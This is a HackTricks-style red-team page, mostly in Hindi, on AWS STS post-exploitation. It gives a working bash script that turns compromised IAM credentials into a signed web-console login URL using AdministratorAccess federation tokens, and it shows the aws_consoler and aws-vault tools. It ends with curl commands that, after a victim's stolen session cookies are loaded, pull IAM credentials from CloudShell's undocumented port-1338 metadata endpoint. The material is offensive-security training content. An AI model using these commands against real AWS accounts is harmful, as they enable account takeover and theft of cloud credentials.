AWS - STS Post Exploitation

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

STS

अधिक जानकारी के लिए:

IAM Creds से कंसोल तक

यदि आपने कुछ IAM क्रेडेंशियल प्राप्त कर लिए हैं तो आपको वेब कंसोल तक पहुंचने के लिए निम्नलिखित उपकरणों का उपयोग करने में रुचि हो सकती है। ध्यान दें कि उपयोगकर्ता/रोल को अनुमति sts:GetFederationToken होनी चाहिए।

कस्टम स्क्रिप्ट

निम्नलिखित स्क्रिप्ट डिफ़ॉल्ट प्रोफ़ाइल और डिफ़ॉल्ट AWS स्थान (न केवल गव और न केवल चीन) का उपयोग करेगा ताकि आपको एक साइन किया गया URL मिले जिसका उपयोग आप वेब कंसोल के अंदर लॉगिन करने के लिए कर सकें:

# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
## Don't forget to use [--profile <prof_name>] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)

if [ $? -ne 0 ]; then
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
exit $status
fi

# Parse the output
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')

# Construct the JSON credentials string
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")

# Define the AWS federation endpoint
federation_endpoint="https://signin.aws.amazon.com/federation"

# Make the HTTP request to get the sign-in token
resp=$(curl -s "$federation_endpoint" \
--get \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "SessionDuration=43200" \
--data-urlencode "Session=$json_creds"
)
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)



# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"

aws_consoler

आप https://github.com/NetSPI/aws_consoler के साथ एक वेब कंसोल लिंक उत्पन्न कर सकते हैं।

cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console

सुनिश्चित करें कि IAM उपयोगकर्ता के पास sts:GetFederationToken अनुमति है, या एक भूमिका प्रदान करें जिसे अनुमानित किया जाए।

aws-vault

aws-vault एक टूल है जो AWS क्रेडेंशियल को सुरक्षित रूप से संग्रहित और पहुंचने के लिए एक विकास वातावरण में उपयोग किया जाता है।

aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith

आप aws-vault का भी उपयोग कर सकते हैं ताकि आप ब्राउज़र कंसोल सत्र प्राप्त कर सकें।

कंसोल से IAM Creds तक

मूल रूप से इस पोस्ट में खोजा गया, यदि आप किसी वेब कंसोल तक पहुंचने में सफल होते हैं (शायद आपने कुकीज़ चुरा ली हो और .aws फ़ोल्डर तक पहुंच नहीं पा रहे थे), तो आप CloudShell के माध्यम से उस उपयोगकर्ता के लिए कुछ IAM टोकन क्रेडेंशियल प्राप्त कर सकते हैं।

CloudShell पोर्ट 1338 पर एक अनदस्तावेजित एंडपॉइंट के माध्यम से IAM क्रेडेंशियल को उजागर करता है। पीड़ित के सत्र कुकीज़ को अपने ब्राउज़र में लोड करने के बाद, आप CloudShell में नेविगेट कर सकते हैं और IAM क्रेडेंशियल प्राप्त करने के लिए निम्नलिखित कमांड जारी कर सकते हैं।

TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl localhost:1338/latest/meta-data/container/security-credentials -H "X-aws-ec2-metadata-token: $TOKEN"
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

Last updated